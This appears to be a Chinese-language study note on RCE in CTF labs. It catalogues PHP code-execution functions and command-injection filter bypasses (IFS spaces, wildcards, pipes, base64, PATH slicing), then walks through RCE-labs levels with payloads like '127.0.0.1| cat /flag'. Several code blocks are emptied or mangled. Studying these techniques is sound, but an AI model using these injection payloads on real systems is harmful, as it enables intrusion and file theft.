RCE
RCE基础豆知识
**RCE(Remote code execution 代码执行&命令执行)**,分为命令执行和代码执行。
1 | 代码执行:eval("include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;"); |
PHP代码执行函数
函数 | 说明 | 示例代码 |
---|---|---|
${} |
用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。 |
eval('${flag}'); |
eval() |
用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。 | eval('echo $flag;'); |
assert() |
测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。 PHP 8.0.0 后移除该功能。 |
assert(print_r($flag)); |
call_user_func() |
用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。 | call_user_func('print_r', $flag); |
create_function() |
创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。 自 PHP 7.2.0 起被*废弃*,并自 PHP 8.0.0 起被*移除*。 | create_function('$a', 'echo $flag;')($a); |
array_map() |
将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。 | array_map(print_r($flag), $a); |
call_user_func_array() |
调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。 | call_user_func_array(print_r($flag), array()); |
usort() |
对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。 | usort($a,print_r($flag)); |
array_filter() |
过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。 | array_filter($a,print_r($flag)); |
array_reduce() |
迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。 | array_reduce($a,print_r($flag)); |
preg_replace() |
执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。 依赖 /e 模式,该模式自 PHP7.3 起被取消。 | preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)}); |
ob_start() |
ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。 | ob_start(print_r($flag)); |
绕过技巧
参数逃逸
示例:
1 |
|
如果这些写c参数:url?c=eval($_GET['a']);
,则会绕过限制。
空格绕过
绕过方式 | 示例 | 说明 |
---|---|---|
%09 |
ls%09/etc |
是TAB制表符的URL编码 |
$IFS |
ls$IFS/etc |
$IFS 是 Bash 中的内部字段分隔符,默认值是空格。 |
\t |
ls\t/etc |
Tab 字符,有时可用 %09 (URL编码)或直接注入制表符。 |
${IFS} |
ls${IFS}/etc |
明确写法,防止 $IFSabc 被误解。 |
%20 |
ls%20/etc |
URL 编码的空格,常见于Web请求中。 |
"$@" |
"ls$@/etc" |
$@ 代表所有参数,某些情况下解析成空格。 |
${PATH:0:1} |
ls${PATH:0:1}/etc |
从环境变量中提取空格字符(原理复杂,略不常用)。 |
{ , } |
{cat,flag.php} |
用逗号实现了空格功能 |
通配符绕过
1 | cat /passwd: |
管道符绕过
windows
- |:直接执行后面语句
- ||:前面执行失败,则执行后面
- &:两个都执行,如果前面的命令为假,则直接执行后面
- &&如果前面的语句为假则直接出错,也不执行后面,前面为真,则都执行。
Linux
- |:显示后面语句的结果
- ||:当前面直接出错,执行后面的语句
- &:两个都执行,同win
- &&:前面出错,则不执行后面,两个都为true才都执行,前面只能为true。
- `:在将括号内的命令处理完毕之后,会将返回的信息传给bash,再次执行。
- ;:执行完前面执行后面。
变量拼接绕过
1 | a=fl;b=ag |
cat的代替
1 | more:一页一页的显示档案内容 |
Base64编码绕过
1 | echo 'ls' | base64 |
linux特殊变量绕过
变量 | 含义 | 示例输出 |
---|---|---|
${#} |
传递给脚本或函数的参数个数 | 0 (参数为空时) |
${?} |
上一个命令的退出状态 | 0 (正常退出)或 1 (异常退出) |
${_} |
上一个命令的最后一个参数 | 上一个命令的最后一个参数值 |
${0} |
当前脚本或 shell 的名字 | bash 或脚本名 |
${1} 到 ${9} |
传递给脚本或函数的第 1 到第 9 个参数 | 第 1 到第 9 个参数值 |
${@} |
传递给脚本或函数的所有参数(以列表形式) | 所有参数值 |
${*} |
传递给脚本或函数的所有参数(以字符串形式) | 所有参数作为单个字符串 |
${$} |
当前 shell 的进程 ID (PID) | 进程 ID 值 |
${!} |
上一个后台运行的进程的进程 ID (PID) | 后台进程的 PID |
${-} |
当前 shell 的选项标志 | hB (表示 shell 选项标志) |
$PATH
主要是截取环境变量中的字幕来拼接命令
1 | echo $PATH |
**如果没有特定字母?**这个时候我们可以自己取构造一个PATH。
1 | export PATH=$PATH:/abcdefghijklmn/opq/rst/uvw/xyz/0123456789 |
RCE-labs打靶
RCE-labs-level4 SHELL 运算符
1 |
|
直接拼接命令就可以了,/?ip=127.0.0.1| cat /flag
RCE-labs-level5 终端特性_空字符忽略和通配符
1 |
|
waf了flag关键字,用通配符绕过,或者反斜杠转义绕过。
/?cmd=cat /f???
/?cmd=cat /fla\g
RCE-labs-level6
1 |
|
这关给的很很巧妙,我刚开始没仔细看,以为是吧数字字母全部waf掉了,结果四也想不到怎么构造,结果一看wp,发现还有a
以及数字没有被过滤。
于是就可以构造以下命令:
/???/?a??64 /??a?
->/bin/base64 /flag
/???/?a? /??a?
-> /bin/cat /flag
RCE-labs-level7 空格绕过
1 | Geesec{e2f4a676-8e5d-4b6c-b57b-d1dd6959cd83} |
可用${IFS}
、$IFS
、%09
RCE-labs-level8 错误重定向
1 |
|
用 ;来分隔重定向, /?cmd=cat /flag;
这里贴一下wp中的总结:
在Linux中文件描述符(File Descriptor)是用于标识和访问打开文件或输入/输出设备的整数值,每个打开的文件或设备都会被分配一个唯一的文件描述符,Linux 中的文件描述符使用非负整数值来表示其中特定的文件描述符有以下含义
- 标准输入(stdin):文件描述符为0,通常关联着终端键盘输入
- 标准输出(stdout):文件描述符为1,通常关联着终端屏幕输出
- 标准错误(stderr):文件描述符为2,通常关联着终端屏幕输出
平时我们使用的”<”和”>”其实就相当于是使用”0<”和”1>”,下面是几种常见的使用示例:
符号 | 示例 | 解释 |
---|---|---|
> |
echo "Hello" > file.txt |
将 echo 的输出重定向到 file.txt 文件 |
< |
wc -l < file.txt |
将 file.txt 作为 wc 命令的输入 |
>> |
echo "World" >> file.txt |
将 echo 的输出以追加方式重定向到 file.txt |
<< |
cat << EOF |
将输入的文本作为 cat 命令的输入,直到遇到 EOF 结束 |
<> |
cat <> file.txt |
以读写模式打开 file.txt 并将其内容作为输入 |
`> | ` | `echo “Override” > |
: > |
: > file.txt |
将 file.txt 截断为0长度,或创建空文件 |
>&n |
ls >&2 |
将 ls 的标准输出和错误输出重定向到文件描述符 n (如 2 为标准错误输出) |
m>&n |
exec 3>&1 |
将文件描述符 3 重定向到描述符 1 ,即输出重定向到标准输出 |
>&- |
exec >&- |
关闭标准输出 |
<&n |
exec <&0 |
输入来自文件描述符 0 (标准输入) |
m<&n |
exec 3<&0 |
将文件描述符 3 重定向到描述符 0 (标准输入) |
<&- |
exec <&- |
关闭标准输入文件描述符 |
<&n- |
exec <&0- |
重定向并关闭文件描述符 n (标准输入) |
>&n- |
exec >&1- |
重定向并关闭文件描述符 n (标准输出) |
RCE-labs-level9 无字母 (八进制)
1 |
|